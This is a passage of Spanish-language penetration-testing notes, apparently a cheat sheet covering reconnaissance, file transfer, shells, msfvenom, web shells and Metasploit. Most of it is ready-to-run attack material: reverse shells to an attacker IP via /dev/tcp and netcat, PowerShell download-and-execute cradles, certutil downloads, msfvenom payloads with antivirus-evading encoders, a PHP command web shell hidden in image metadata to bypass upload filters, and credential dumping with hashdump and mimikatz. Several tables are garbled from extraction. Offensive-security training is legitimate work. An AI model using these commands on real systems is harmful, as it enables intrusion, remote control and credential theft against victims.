a continuación crea un archivo ([Link]) el cual podemos ver con un editor de texto.

Podremos ver cosas muy interesantes como:

Emails (correos), links, archivos, audios, archivos js, videos, y comentarios.

python3 [Link] [Link] Revisar [Link]

Descubrimiento de motores de búsqueda (Google Hacking)

Operador Descripción del operador Ejemplo Descripción de

ejemplo
site: Limita los resultados a un site:[Link] Encuentre todas las
sitio web o dominio páginas de acceso
específico. público en
[Link].
inurl: Encuentra páginas con inurl:login Busque páginas de
un término específico en inicio de sesión en
la URL. cualquier sitio web.
filetype: Busca archivos de un tipo filetype:pdf Encuentre
particular. documentos PDF
descargables.
intitle: Busca páginas con un intitle:"confidential Busque
término específico en el report" documentos
título. titulados "informe
confidencial" o
variaciones
similares.
intext:oinbody: Busca un término dentro intext:"password Identifique páginas
del cuerpo del texto de reset" web que
las páginas. contengan el
término
"restablecimiento
de contraseña".
cache: Muestra la versión en cache:[Link] Vea la versión en
caché de una página m caché de
web (si está disponible). [Link] para
ver su contenido
anterior.
link: Encuentra páginas que link:[Link] Identifique los sitios
enlazan a una página web que enlazan
web específica. con [Link].
related: Encuentra sitios web related:[Link] Descubra sitios web
relacionados con una m similares a
página web específica. [Link].
info: Proporciona un resumen info:[Link] Obtenga detalles
de información sobre una básicos sobre
página web. [Link],
como su título y
descripción.
define: Proporciona definiciones define:phishing Obtenga una
de una palabra o frase. definición de
"phishing" de varias
fuentes.
numrange: Busca números dentro de site:[Link] Busque páginas en
un rango específico. numrange:1000-2000 [Link] que
contengan
números entre 1000
y 2000.
allintext: Busca páginas que allintext:admin Busque páginas
contengan todas las password reset que contengan
palabras especificadas "admin" y
en el cuerpo del texto. "restablecer
contraseña" en el
texto del cuerpo.
allinurl: Busca páginas que allinurl:admin panel Busque páginas
contengan todas las con "admin" y
palabras especificadas "panel" en la URL.
en la URL.
allintitle: Busca páginas que allintitle:confidential Busque páginas
contengan todas las report 2023 que tengan
 palabras especificadas "confidencial",
en el título. "informe" y "2023" en
el título.
AND Limita los resultados al site:[Link] Encuentre páginas
exigir que todos los AND (inurl:admin OR de administración o
términos estén presentes. inurl:login) inicio de sesión
específicamente en
[Link].
OR Amplia los resultados "linux" OR "ubuntu" Busque páginas
incluyendo páginas con OR "debian" web que
cualquiera de los mencionen Linux,
términos. Ubuntu o Debian.
NOT Excluye los resultados que site:[Link] NOT Busque páginas en
contienen el término inurl:login [Link],
especificado. excluidas las
páginas de inicio de
sesión.
*(comodín) Representa cualquier site:[Link] Busque manuales
carácter o palabra. m filetype:pdf user* de usuario (guía de
manual usuario, manual de
usuario) en formato
PDF en
[Link].
..(búsqueda Encuentra resultados site:[Link] Busque productos
de rango) dentro de un rango m "price" 100..500 con precios entre
numérico específico. 100 y 500 en un sitio
web de comercio
electrónico.
" "(comillas) Busca frases exactas. "information security Busque
policy" documentos que
mencionen la frase
exacta "política de
seguridad de la
información".
-(signo menos) Excluye términos de los site:[Link] - Busque artículos de
resultados de búsqueda. inurl:sports noticias en
[Link],
excluyendo
contenido
relacionado con
deportes.

[Link]

Archivos Web (Wayback Machine)

Podremos buscar versiones antiguas de las páginas, incluso exploits que han sido borrados.

[Link]

Reconocimiento automatizado
FinalRecon ([Link] FinalRecon es una herramienta
de reconocimiento diseñada para recopilar información detallada sobre sitios web. Ofrece
capacidades avanzadas de escaneo que incluyen descubrimiento de subdominios,
recopilación de información DNS, análisis de encabezados HTTP, y mucho más.

recon-ng ([Link] recon-ng es un marco de trabajo

modular para el reconocimiento web que se asemeja a Metasploit en su estructura y
funcionalidad. Permite a los usuarios realizar diversas tareas de recolección de información
utilizando módulos que pueden combinarse y personalizarse según las necesidades del
usuario.

theHarvester ([Link] theHarvester es una herramienta

de código abierto diseñada para recopilar correos electrónicos, nombres de dominio,
direcciones IP y más, utilizando diversas fuentes públicas. Es particularmente útil para la fase
inicial de recopilación de datos en pruebas de penetración y auditorías de seguridad.

SpiderFoot ([Link] SpiderFoot es una herramienta de

reconocimiento automatizado que escanea y analiza datos de una amplia variedad de
fuentes OSINT (Open Source Intelligence). Puede ser usada para descubrir información
sobre dominios, direcciones IP, y personas, ofreciendo una visión completa de la superficie
de ataque.

OSINT Framework ([Link] OSINT Framework no es una herramienta en

sí, sino un recurso en línea que organiza y categoriza una amplia gama de herramientas y
recursos de OSINT. Está diseñado para ayudar a los investigadores a encontrar información
relevante utilizando diversas fuentes públicas.
Estas herramientas y recursos son esenciales para profesionales de la seguridad y analistas
de inteligencia que buscan recopilar y analizar información detallada sobre sus objetivos.

Instalacion de FinalRecon

git clone [Link]

cd FinalRecon
pip3 install -r [Link] --break-system-packages
chmod +x ./[Link]
./[Link] --help

Ejecución

./[Link] --headers --whois --url [Link]

Opción Argumento Descripción

-h,--help Muestra el mensaje de ayuda y sal.
--url URL Especifique la URL de destino.
--headers Recuperar información del encabezado de la URL de
destino.
--sslinfo Obtenga información del certificado SSL para la URL de
destino.
 --whois Realice una búsqueda Whois para el dominio de destino.
--crawl Rastree el sitio web de destino.
--dns Realice una enumeración de DNS en el dominio de
destino.
--sub Enumere los subdominios para el dominio de destino.
--dir Busque directorios en el sitio web de destino.
--wayback Recuperar URL Wayback para el objetivo.
--ps Realice un escaneo rápido de puertos en el objetivo.
--full Realice un escaneo de reconocimiento completo del
objetivo.

Extraer correos

Como vimos anteriormente podemos extraer correo con [Link]

python3 [Link] [Link] Revisar [Link]

También podemos extraer correos con Infoga: [Link]

python [Link] --domain [Link]

Y la herramienta EmailHarvester

git clone [Link]

pip install -r [Link]
python3 [Link] -d [Link]

Permite extraer algunos free (Recomendado)

[Link]
 FILE TRANSFERS (TRANSFERENCIA DE ARCHIVOS)
Codificación y decodificación de PowerShell Base64: (Pasar archivos en base64)

• Archivo que queramos transferir [Link], podemos utilizar diferentes métodos que no
requieren comunicación de red. Si tenemos acceso a una terminal, podemos
codificar un archivo en una cadena base64, copiar su contenido desde la terminal
y realizar la operación inversa, decodificando el archivo en el contenido original.
Veamos cómo podemos hacer esto.

Comandos: (Linux a Windows)

md5sum id_rsa Obtenemos el hash MD5 128-bit

cat [Link] | base64 -w 0;echo Ciframos el archivo [Link] en base64
 En Linux codificamos y en windows decodificamos el archivo [Link]:

[[Link]]::WriteAllBytes("C:\Users\Lenovo\Desktop\[Link]",
[Convert]::FromBase64String("CODIGO-BASE64"))
Get-FileHash C:\Users\Lenovo\Desktop\[Link] -Algorithm md5

• Podemos ver que con el código anterior en windows con powershell en el escritorio
creamos el archivo [Link] y que el código MD5 es el mismo tanto en windows como
en Linux.

Descarga de archivos con PWS (PowerShell):

Invoke-WebRequest -Uri '<Target File URL>' -OutFile '[Link]' Descarga de archivo con
PWS Invoke-WebRequest
Invoke-RestMethod -Uri '<Target File URL>' -OutFile '[Link]' Descarga de archivo con
PWS Invoke-RestMethod

Powershell Downloads: (windows reverse shell)

Invoke-WebRequest [Link] -OutFile PowerView.ps1 Descargar un

archivo con
PowerShell
[Link] "IEX(New-Object Invoke-
[Link]).DownloadString('[Link] PowerShellTcp.ps1
es donde
Link de descarga de Invoke-PowerShellTcp.ps1: añadimos en la
[Link] última línea al final
PowerShellTcp.ps1 del archivo
======================================================================= Invoke-
Reverse shell con nc: PowerShellTcp.ps1
[Link] -e [Link] <IP> 443 un reverse shell
ejemplo (Invoke-
PowerShellTcp -
Reverse -
IPAddress IP-
atacante 443)
 Recordar poner
en el pc atacante
(python3 -m
[Link] 8080)
para descargar el
archivo y (nc -lvnp
443) para recibir el
reverse shell
IEX (New-Object [Link]).DownloadString('[Link] Ejecutar un
archivo en
memoria usando
PowerShell
Invoke-WebRequest -Uri [Link] -Method POST -Body $b64 Subir un archivo
con PowerShell
bitsadmin /transfer n [Link] C:\Temp\[Link] Descargar un
archivo usando
Bitsadmin
[Link] -verifyctl -split -f [Link] /[Link] Descargar un
archivo usando
Certutil
wget [Link] -O Descargar un
/tmp/[Link] archivo usando
Wget
curl -o /tmp/[Link] Descargar un
[Link] archivo usando
CURL
php -r '$file = file_get_contents("[Link] Descargar un
file_put_contents("[Link]",$file);' archivo usando
PHP
scp C:\Temp\[Link] user@<IP>:/tmp/[Link] Subir un archivo
usando SCP - SSH
scp user@<IP>:/tmp/[Link] C:\Temp\[Link] Descargar un
archivo usando
SCP - SSH
Invoke-WebRequest [Link] -UserAgent usando un
[[Link]]::Chrome -OutFile "[Link]" Invoke- agente de usuario
WebRequest de Chrome

IMPACKET Instalación:

git clone [Link]

cd impacket
pip3 install . --break-system-packages
# OR:
sudo python3 [Link] install
# In case you are missing some modules:
pip3 install -r [Link]

[Link]: (Servidor SMB) para pasar archivos entre linux y windows.

impacket/examples/[Link] Ruta de ubicación

cp impacket/examples/[Link] . copiarlo en el directorio actual
 python3 impacket/examples/[Link] creamos un recurso o carpeta compartida con el
a. nombre (a)
python3 impacket/examples/[Link] a . -smb2support

Sacar información de Windows a linux vía SMB: (enviar archivos de windows a linux).

python3 [Link] a . -smb2support Linux a la escucha - [Link] lo

encontramos en impacket/examples
Copy-Item -Path "C:\Users\usuario\Desktop\[Link]" - Enviamos el archivo ([Link]) de windows a
Destination "\\IP-Linux\a\" linux por smb

Descargar/copiar un archivo de linux a Windows vía SMB

copy \\IP-Atacante\a\[Link]
smbclient //IP-Atacante/a -N -c 'put /ruta/al/[Link]' Linux a Linux

En caso de que realizando este procedimiento por SMB nos restrinja por temas de usuario y
salga un aviso como el siguiente:

• No puede acceder a esta carpeta compartida porque las políticas de seguridad

de su organización bloquean el acceso de invitados no autenticados. Estas políticas
ayudan a proteger su PC de dispositivos inseguros o maliciosos en la red.

Podemos realizar el siguiente proceso:

• Cree el servidor SMB con un nombre de usuario y una contraseña

python3 impacket/examples/[Link] a . -user test -password test - Atacante

smb2support
net use n: \\<IP>\a\[Link] /user:test test Victima Win
net use \\<IP>\a\[Link] /user:test test Victima Win

El comando net use en Windows se utiliza para conectar y asignar una unidad de red
compartida a una letra de unidad en tu equipo. No copia archivos directamente, sino que
establece una conexión con un recurso compartido en una red, permitiendo que puedas
acceder a él como si fuera una unidad local.

Linux a windows:

Estando el atacante como servidor ([Link]) compartiendo el msi/exe malicioso

(creado con msfvenom) ejecutamos el siguiente comando para descargarlo (msi/exe)
desde la maquina victima (Windows).
[Link] -f -urlcache -split [Link] [Link]

Linux a Linux

python3 impacket/examples/[Link] a . -smb2support

smbclient //IPAtacante/files -c 'get [Link] ./[Link]'

smbclient //IPAtacante/Directorio -U user%Passwd -c 'get archivo_remoto'
 Shells & Payloads (PROYECTILES Y CARGAS ÚTILES)
Estableciendo un Bind Shell básico con Netcat

Servidor victima

Utiliza netcat para vincular un shell (/bin/bash) con la dirección IP y el puerto especificado.
Esto permite que una sesión de shell se proporcione de forma remota a cualquier persona
que se conecte a la computadora en la que se emitió este comando.

rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -l <IPVictima> 7777 > /tmp/f
También sirve el comando para reverse shell.

Atacante

Se conecta a un oyente netcat en la dirección IP y el puerto especificado.

nc <IPVictima> 7777

Shells reversas revshell

[Link]
[Link]
Reverse Shell Cheat Sheet
[Link]
20Resources/Reverse%20Shell%[Link]
Reverse shell windows PowerShellTcp.ps1

Descargar el siguiente script de PowerShell de nishang

[Link]

Agregar como última línea el siguiente comando

Invoke-PowerShellTcp -Reverse -IPAddress <IP-Victima> -Port 443

Ejecutar el script anterior desde el windows o lograr hacer que se ejecute desde el windows
manipulado desde un windows, como por ejemplo en un ataque en un entorno de AD
mediante un ataque de Samba Relay.

También Podemos descargarlo desde windows mediante el powershell

Invoke-WebRequest [Link] Invoke-PowerShellTcp.ps1

Reverse Shell (Linux)

En la victima ejecutamos el siguiente comando

bash -c "bash -i >& /dev/tcp/<IP-Atacante>/4321 0>&1"

El atacante a la escucha

nc -lvnp 4321

También podemos usar Metasploit para enviar ataques con cargas útiles (Payloads)

Ejemplo ejecutando el módulo psexec

exploit/windows/smb/psexec
 MSFVENOM

msfvenom es una herramienta de Metasploit Framework utilizada para generar cargas útiles
(payloads) personalizadas y codificadas. Permite a los usuarios combinar opciones de
carga útil con codificaciones específicas para evitar la detección por software antivirus.
msfvenom es esencial para los profesionales de seguridad y los pentesters en la creación
de binarios maliciosos que pueden ser usados para comprometer sistemas de manera
efectiva durante pruebas de penetración y evaluaciones de seguridad.

listar todas las cargas útiles (payloads)

msfvenom -l payloads
msfvenom -l payloads | grep windows

Ejemplos de payloads

msfvenom -p windows/shell_reverse_tcp LHOST=IP-Atacante LPORT=443 -f exe > [Link]

msfvenom -p linux/x64/shell_reverse_tcp LHOST= IP-Atacante LPORT=443 -f elf > [Link]
msfvenom -p windows/shell_reverse_tcp LHOST= IP-Atacante LPORT=443 -o [Link]
msfvenom -p android/meterpreter/reverse_tcp LHOST=IP-Atacante LPORT=4321 -o [Link]
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP-Atacante LPORT=4444 elf -o [Link]
msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=IP-Atacante LPORT=4444 -f elf -o [Link]
msfvenom -a x64 --platform linux -p linux/x64/meterpreter_reverse_tcp LHOST=IP-Atacante
LPORT=4444 -f elf -o payload
msfvenom -p windows/shell_reverse_tcp LHOST=IP-Atacante LPORT=443 -f exe -o [Link]
msfvenom -p windows/shell_reverse_tcp LHOST=IP-Atacante LPORT=443 -o [Link]

Ejemplo de comando y descripción

msfvenom -p linux/x64/shell_reverse_tcp LHOST=[Link] LPORT=443 -f elf >

[Link]

-p linux/x64/shell_reverse_tcp: Especifica el tipo de carga útil a generar. En este caso,

linux/x64/shell_reverse_tcp indica una carga útil de shell inverso para Linux de 64 bits. Una
shell inversa permite al atacante obtener una shell del sistema objetivo al conectarse desde
el sistema objetivo al sistema del atacante.
LHOST=[Link]: Establece la dirección IP del host local (la máquina atacante) que
recibirá la conexión inversa desde el objetivo.

LPORT=443: Establece el puerto en el host local que escuchará la conexión inversa. El puerto
443 es comúnmente utilizado para tráfico HTTPS, lo que puede ayudar a evitar la detección
en algunas redes.

-f elf: Esta opción especifica el formato del archivo de salida. En este caso, elf indica que la
carga útil generada debe estar en formato ELF (Executable and Linkable Format), que es
un formato común para ejecutables en sistemas operativos Unix y Linux.

> [Link]: Este es un operador de redirección de la línea de comandos de

Unix/Linux que guarda la salida del comando en un archivo. En este caso, redirige la salida
del comando msfvenom (la carga útil generada) al archivo llamado [Link].

Explotaciones destacadas de Windows

Vulnerabilidad Descripción
MS08-067 MS08-067 fue un parche crítico que se implementó en muchas
revisiones diferentes de Windows debido a una falla de SMB. Esta
falla hizo que fuera extremadamente fácil infiltrarse en un host de
Windows. Era tan eficiente que el gusano Conficker lo utilizaba para
infectar todos los hosts vulnerables que encontraba. Incluso Stuxnet
aprovechó esta vulnerabilidad.
Eternal Blue MS17-010 es un exploit filtrado en el volcado de Shadow Brokers de
la NSA. Este exploit se utilizó sobre todo en el ransomware
WannaCry y en los ciberataques NotPetya. Este ataque aprovechó
una falla en el protocolo SMB v1 que permitía la ejecución de
código. Se cree que EternalBlue infectó más de 200.000 hosts solo
en 2017 y sigue siendo una forma común de encontrar acceso a
un host de Windows vulnerable.
PrintNightmare Una vulnerabilidad de ejecución remota de código en la cola de
impresión de Windows. Con credenciales válidas para ese host o
un shell con privilegios bajos, puede instalar una impresora, agregar
un controlador que se ejecute automáticamente y le otorgue
acceso a nivel de sistema al host. Esta vulnerabilidad ha estado
devastando a las empresas durante 2021. 0xdf escribió una
publicación increíble al respecto aquí.
BlueKeep CVE 2019-0708 es una vulnerabilidad en el protocolo RDP de
Microsoft que permite la ejecución remota de código. Esta
vulnerabilidad aprovechó un canal mal llamado para obtener la
ejecución de código, lo que afectó a todas las revisiones de
Windows, desde Windows 2000 hasta Server 2008 R2.
Sigred CVE 2020-1350 utilizó una falla en la forma en que DNS lee los
registros de recursos SIG. Es un poco más complicado que los otros
exploits de esta lista, pero si se hace correctamente, le dará al
atacante privilegios de administrador de dominio, ya que afectará
al servidor DNS del dominio, que suele ser el controlador de dominio
principal.
SeriousSam CVE 2021-36924 explota un problema con la forma en que Windows
maneja los permisos en la C:\Windows\system32\configcarpeta.
 Antes de solucionar el problema, los usuarios no elevados tienen
acceso a la base de datos SAM, entre otros archivos. Esto no es un
gran problema ya que no se puede acceder a los archivos mientras
la PC los usa, pero esto se vuelve peligroso cuando se analizan
copias de seguridad de instantáneas de volumen. Estos mismos
errores de privilegios también existen en los archivos de respaldo, lo
que permite a un atacante leer la base de datos SAM y deshacerse
de las credenciales.
Zerologon CVE 2020-1472 es una vulnerabilidad crítica que explota una falla
criptográfica en el protocolo remoto Netlogon de Active Directory
(MS-NRPC) de Microsoft. Permite a los usuarios iniciar sesión en
servidores utilizando NT LAN Manager (NTLM) e incluso enviar
cambios de cuenta a través del protocolo. El ataque puede ser un
poco complejo, pero su ejecución es trivial, ya que un atacante
tendría que adivinar alrededor de 256 contraseñas de cuentas de
computadoras antes de encontrar lo que necesita. Esto puede
suceder en cuestión de unos segundos.

Enumeración de windows

nmap -v [Link] --script [Link]

Tipos de carga útil a considerar

• DLL
• VBS
• .MSI
• PowerShell

Generación de carga útil

• MSFVenom & Metasploit-Framework

• Payloads All The Things
• Mythic C2 Framework
• Nishang
• Darkarmour

Impacket: Impacket es un conjunto de herramientas integrado en Python que nos

proporciona una forma de interactuar directamente con los protocolos de red. Algunas de
las herramientas más interesantes que nos interesan en Impacket tienen que ver con
Kerberos psexec y la capacidad de montar un servidor SMB. smbclientwmi

Payloads All The Things: es un gran recurso para encontrar líneas rápidas que ayuden a
transferir archivos entre hosts de manera conveniente.

SMB: SMB puede proporcionar una ruta fácil de explotar para transferir archivos entre hosts.
Esto puede resultar especialmente útil cuando los hosts víctimas están unidos a un dominio
y utilizan recursos compartidos para alojar datos. Nosotros, como atacantes, podemos usar
estos archivos compartidos SMB junto con C$ y admin$ para alojar y transferir nuestras
cargas útiles e incluso filtrar datos a través de los enlaces.
Remote execution via MSF: Integrada en muchos de los módulos de exploits en Metasploit
hay una función que construirá, organizará y ejecutará las cargas útiles automáticamente.

Other Protocols: Al mirar un host, protocolos como FTP, TFTP, HTTP/S y más pueden
proporcionarle una forma de cargar archivos al host. Enumere y preste atención a las
funciones que están abiertas y disponibles para su uso.

Algunos módulos de explotación de windows con metasploit

auxiliary/scanner/smb/smb_ms17_010
exploit/windows/smb/ms17_010_psexec

Cuando usar CMD o PowerShell

Usar CMD cuando:

• Estás en un host antiguo que puede no incluir PowerShell.

• Cuando solo requiere interacciones/accesos simples al host.
• Cuando planea utilizar archivos por lotes simples, comandos net o herramientas
nativas de MS-DOS.
• Cuando crea que las políticas de ejecución pueden afectar su capacidad para
ejecutar scripts u otras acciones en el host.

Usar PowerShell cuando:

• Tiene previsto utilizar cmdlets u otros scripts personalizados.

• Cuando desee interactuar con objetos .NET en lugar de salida de texto.
• Cuando ser sigiloso es una preocupación menor.
• Si planea interactuar con servicios y hosts basados en la nube.
• Si sus scripts configuran y usan Alias.

Shell TTY

Python interactivo TTY

python -c 'import pty; [Link]("/bin/sh")'

python -c 'import pty; [Link]("/bin/bash")'

Actualizar shell TTY

Comandos:

script /dev/null -c bash

Ctrl + Z
stty raw -echo; fg
reset xterm
tty – si al dar el comando tty vemos un /dev/pts/0 es porque ye tendremos una shell
interactiva y podremos hacer Ctrl+C
 echo $TERM Para ver que vale TERM
export TERM=xterm Podremos hacer Ctrl+L
stty size En maquina atacante para ver filas y
columnas
stty rows 45 columns 174 victima – para tener nano bien
proporcionado
Remplazar el 45 y 174

Generando Shells interactivas

/bin/sh -i Shell sh
perl —e 'exec "/bin/sh";' Perl
perl: exec "/bin/sh"; Perl (debe ejecutarse desde un script)
ruby: exec "/bin/sh" Ruby (debe ejecutarse desde un script)
lua: [Link]('/bin/sh') Lua a shell (debe ejecutarse desde un
script)
awk 'BEGIN {system("/bin/sh")}' AWK a Shell

Usando Find para un Shell

find / -name nameoffile -exec /bin/awk 'BEGIN {system("/bin/sh")}' \;

Usando Exec para iniciar un Shell

find . -exec /bin/sh \; -quit

Vim To Shell

vim -c ':!/bin/sh'

Vim Escape

vim
:set shell=/bin/sh
:shell

Web Shells

Laudanum – web shells (Payloads and shells – Shells and payloads)

Que es laudanum: Laudanum es un repositorio de archivos listos para usar que se pueden
usar para inyectar en una víctima y recibir acceso posterior a través de un shell inverso,
ejecutar comandos en el host de la víctima directamente desde el navegador y más. El
repositorio incluye archivos inyectables para incluir muchos lenguajes de aplicaciones web
diferentes asp, aspx, jsp, php, y más. Este es un elemento básico que debe tener en
cualquier pentest.
Ubicación en sistemas Parrot OS.

/usr/share/laudanum/
/usr/share/webshells/laudanum/

Para este ejemplo se copia en el escritorio de trabajo un [Link] que se encuentra en la

ruta /usr/share/laudanum/aspx/[Link], posteriormente se edita agregando la ip de
nuestra maquina atacante.

Una vez cargado en Webshell veremos algo como lo siguiente al ingresar la ruta donde se
subió:

Antak Webshell (Powershell web – For windows)

Antak es un shell web [Link] integrado incluido en el proyecto Nishang . Nishang es un

conjunto de herramientas ofensivas de PowerShell que puede brindar opciones para
cualquier parte de su pentest.

Ruta:

/nishang/Antak-WebShell/[Link]

Hacemos una copia de en escritorio para poder modificar [Link], luego agregamos
un nombre de usuario y contraseña y guardamos cambios.
Ingresamos al webshell en la ruta que se subió e ingresamos con el usuario y password que
configuramos:

Luego veremos algo como lo siguiente donde podremos ejecutar comandos de sistema
desde un powershell web.

Webshell wwwolf-php-webshell

[Link]
[Link]

Shell web PHP de wwwolf

Con frecuencia encontré problemas al usar otros shells web:

• Utilizan nuevas funciones de sintaxis de PHP que no son compatibles con la versión
anterior de PHP que se ejecuta en algunos objetivos.
• Hacen suposiciones erróneas sobre la URL remota, rompiendo la inyección de
código PHP o parámetros GET (no) esperados por el servidor.
• A menudo solo muestran contenido de salida estándar, desechando stderr.
• Manejan mal los caracteres especiales en la visualización de salida (como).
• No permiten la carga de archivos ni ofrecen un método no admitido/bloqueado
por la configuración del objetivo.
• Requieren modificación manual dependiendo de si el objetivo ejecuta un sistema
tipo UNIX o Windows.
Aquí está mi intento de resolver estos problemas. A diferencia de otras soluciones, esta ni
siquiera aspira a convertirse en un 'marco post-explotación con todas las funciones'. Su
único objetivo es proporcionar una forma estable y confiable de poner un pie en la puerta
del objetivo, adhiriéndose al principio KISS tanto como sea posible y siendo lo
suficientemente genérico como para permitirle construir lo que desea a partir de ahí sin
interponerse en su camino.

A veces es necesario al momento de subir archivos hacer un bypass de file upload.

En el siguiente ejemplo podemos ver que podemos cambiar el Content-Type: application/x-

php por image/gif o image/png y también se puede probar un bypass cambiando la
extensión del archivo en el campo filename=”[Link]” por [Link].
Common Mime types (Content-type)

Lista extensa: [Link]

US/docs/Web/HTTP/Basics_of_HTTP/MIME_types/Common_types

Extensión Mime Type

.png image/png
.pdf application/pdf
.php application/x-httpd-php
.rar application/[Link]
.zip application/zip
.7z application/x-7z-compressed
.txt text/plain
.tar application/x-tar
.sh application/x-sh
.jpeg, .jpg image/jpeg
.bin application/octet-stream

Otros ejemplos de bypass file upload

Añadir payload en una imagen (Bypass File Upload)

exiftool -comment='<?php system ($_REQUEST['cmd']);?>' [Link]

<code style="color: red;"><?php system($_REQUEST["cmd"]); ?></code>
 Metasploit
Ruta de metasploit en parrot OS

/usr/share/metasploit-framework

Llamar a metasploit para que se abra en la consola

msfconsole
msfconsole -q Inicia sin mostrar banner

Otras rutas

ls /usr/share/metasploit-framework/scripts/ Scripts
ls /usr/share/metasploit-framework/tools/ Tools
ls /usr/share/metasploit-framework/modules Módulos

Instalacion de MSF

sudo apt update && sudo apt install metasploit-framework

Estructura de participación de MSF

• Enumeración
• Preparación
• Explotación
• Escalada de privilegios
• Post-explotación
Módulos

Tipo Descripción
Auxiliary Capacidades de escaneo, fuzzing, sniffing
y administración. Ofrezca asistencia y
funcionalidad adicionales.
Encoders Asegúrese de que las cargas útiles estén
intactas hasta su destino.
Exploits Definidos como módulos que explotan una
vulnerabilidad que permitirá la entrega de
carga útil.
NOPs (Sin código de operación) Mantenga los
tamaños de carga útiles consistentes en
todos los intentos de explotación.
Payloads El código se ejecuta de forma remota y
vuelve a llamar a la máquina atacante
para establecer una conexión (o shell).
Plugins Se pueden integrar guiones adicionales
dentro de una evaluación msfconsole y
coexistir.
Post Amplia gama de módulos para recopilar
información, profundizar, etc.

Buscando módulos de metasploit

search eternalromance
search eternalromance type:exploit
search type:exploit platform:windows cve:2021 rank:excellent microsoft

Usando un módulo en metasploit

search ms17_010
use exploit/windows/smb/ms17_010_psexec
options
info
set RHOSTS <target>
set LHOST <atacante>
set LPORT <Puerto> Puerto a la escucha
exploit

SETG

Podemos especificar un objetivo permanente con el comando setg, para que

posteriormente no necesitemos estas seteando el RHOTS en todo momento.

setg RHOSTS <target>

Una vez con el módulo seteado (msf6 exploit(windows/smb/ms17_010_psexec) >) podemos
ingresar el siguiente comando para ver los objetivos que podemos atacar con dicho exploit.

show targets

También podemos cambiar el payload o la carga útil con el siguiente comando

show payloads

Grepear un payload de meterpreter en metasploit

ms17_010_eternalblue) > grep meterpreter grep reverse_tcp show payloads

Luego de encontrar el payload lo podemos setear con su numero o con la ruta completa.

set payload 15
set payload/windows/x64/meterpreter/reverse_tcp

Meterpreter

Una vez ganamos el acceso y obtenemos un meterpreter podemos ver todos sus comandos
(Los comandos que podremos usar en la post-explotación)

meterpreter > help

Tipos de carga útil (payloads para windows)

La siguiente tabla contiene las cargas útiles más comunes utilizadas para máquinas con
Windows y sus respectivas descripciones.

Carga útil Descripción

generic/custom Oyente genérico, multiuso.
generic/shell_bind_tcp Oyente genérico, multiuso, shell normal,
enlace de conexión TCP
generic/shell_reverse_tcp Oyente genérico, multiuso, shell normal,
conexión TCP inversa
windows/x64/exec Ejecuta un comando arbitrario (Windows
x64)
windows/x64/loadlibrary Carga una ruta de biblioteca x64 arbitraria
windows/x64/messagebox Genera un cuadro de diálogo a través de
MessageBox usando un título, texto e ícono
personalizables
windows/x64/shell_reverse_tcp Shell normal, carga útil única, conexión TCP
inversa
windows/x64/shell/reverse_tcp Shell normal, stager + stage, conexión TCP
inversa
windows/x64/shell/bind_ipv6_tcp Shell normal, stager + stage, IPv6 Bind TCP
stager
windows/x64/meterpreter/$ Carga útil de Meterpreter + variedades
anteriores
 windows/x64/powershell/$ Sesiones interactivas de PowerShell +
variedades anteriores
windows/x64/vncinject/$ Servidor VNC (inyección reflectante) +
variedades anteriores

Ejemplos de Encoders

msfpayload windows/shell_reverse_tcp LHOST=[Link] LPORT=4444 R | msfencode -b

'\x00' -f perl -e x86/shikata_ga_nai
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=[Link]
LPORT=4444 -b "\x00" -f perl
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=[Link]
LPORT=4444 -b "\x00" -f perl -e x86/shikata_ga_nai

También Podemos ver los Encoders

(ms09_050_smb2_negotiate_func_index) > show encoders

Configurando la base de datos en metasploit

sudo service postgresql status

sudo systemctl start postgresql
sudo msfdb init
sudo msfdb status
sudo msfdb run
msf6 > help database

Reiniciar la DB

msfdb reinit
cp /usr/share/metasploit-framework/config/[Link] ~/.msf4/
sudo service postgresql restart
msfconsole -q

Post-explotacion

Luego de conseguir acceso a un equipo víctima y obtener un meterpreter podemos realizar

las siguientes acciones

migrate [Link] Migrar el proceso a otro para ocultarnos

getuid podemos ejecutar getuid para obtener
más información sobre el usuario actual
sysinfo Información sobre el sistema victima
load kiwi cargar mimikatz

Escalar privilegios con metasploit (Modulo suggester)

post/multi/recon/local_exploit_suggester Esto buscará varios exploits que podamos

ejecutar dentro de nuestra sesión para
elevar nuestros privilegios.
Habilitar RDP en sistema objetivo

forzar que RDP esté disponible.

post/windows/manage/enable_rdp

Comando shell

ejecutar el comando shell en nuestra sesión de meterpreter genera un shell de sistema

normal (del sistema objetivo).

shell

Sessiones

Podemos ver las sesiones que hemos obtenido de las victimas con el comando

sessions
sessions 1 Interactuar con una session ya existente
sessions -i 1 Interactuar con una session ya existente

Jobs

Si, por ejemplo, estamos ejecutando un exploit activo en un puerto específico y

necesitamos este puerto para un módulo diferente, no podemos simplemente terminar la
sesión usando [CTRL] + [C]. Si hiciéramos eso, veríamos que el puerto aún estaría en uso, lo
que afectaría nuestro uso del nuevo módulo. Entonces, en su lugar, necesitaríamos usar el
comando jobs para ver las tareas actualmente activas que se ejecutan en segundo plano
y finalizar las antiguas para liberar el puerto.

Cuando ejecutamos un exploit, podemos ejecutarlo como un trabajo escribiendo exploit -

j. Según el menú de ayuda del comando exploit, agregando -j a nuestro comando. En lugar
de simplemente exploit o run, "lo ejecutará en el contexto de un trabajo".

Comandos

jobs -h
(multi/handler) > exploit -h
exploit -j
jobs -l
Meterpreter

Suponiendo que nos aprovechamos de una vulnerabilidad con el exploit

(windows/iis/iis_webdav_upload_asp) y tenemos acceso en un sistema como meterpreter
podemos usar algunos de los siguientes comandos.

help ayuda
bg Dejamos la session en
background
search local_exploit_suggester Luego de bg buscamos el exploit
de suggester para la escalada
de priv, el cual nos mostrara una
serie de exploit que podremos
usar para dicha acción.
use Suponiendo que suggester nos
exploit/windows/local/ms15_051_client_copy_images recomienda este exploit, lo
configuramos y usamos para
pasar a ser usuarios root.
hashdump volcado de hashes
lsa_dump_sam volcado de hashes
lsa_dump_secrets Volcado de secretos de
Meterpreter LSA:
• Hashes de contraseñas
• Contraseñas en texto
claro
• Tokens y claves

Exploits (Búsqueda de exploits)

Recordemos que también podemos buscar exploits dentro de metasploit, para ello
podemos usar el comando search, como lo vemos a continuación.

search nagios

También podemos buscar exploits en la página web exploit-db

[Link]

O si preferimos hacerlo desde la consola de comandos podemos usar searchsploit, que

básicamente es exploit-db, pero desde consola.

sudo apt install exploitdb

searchsploit nagios3
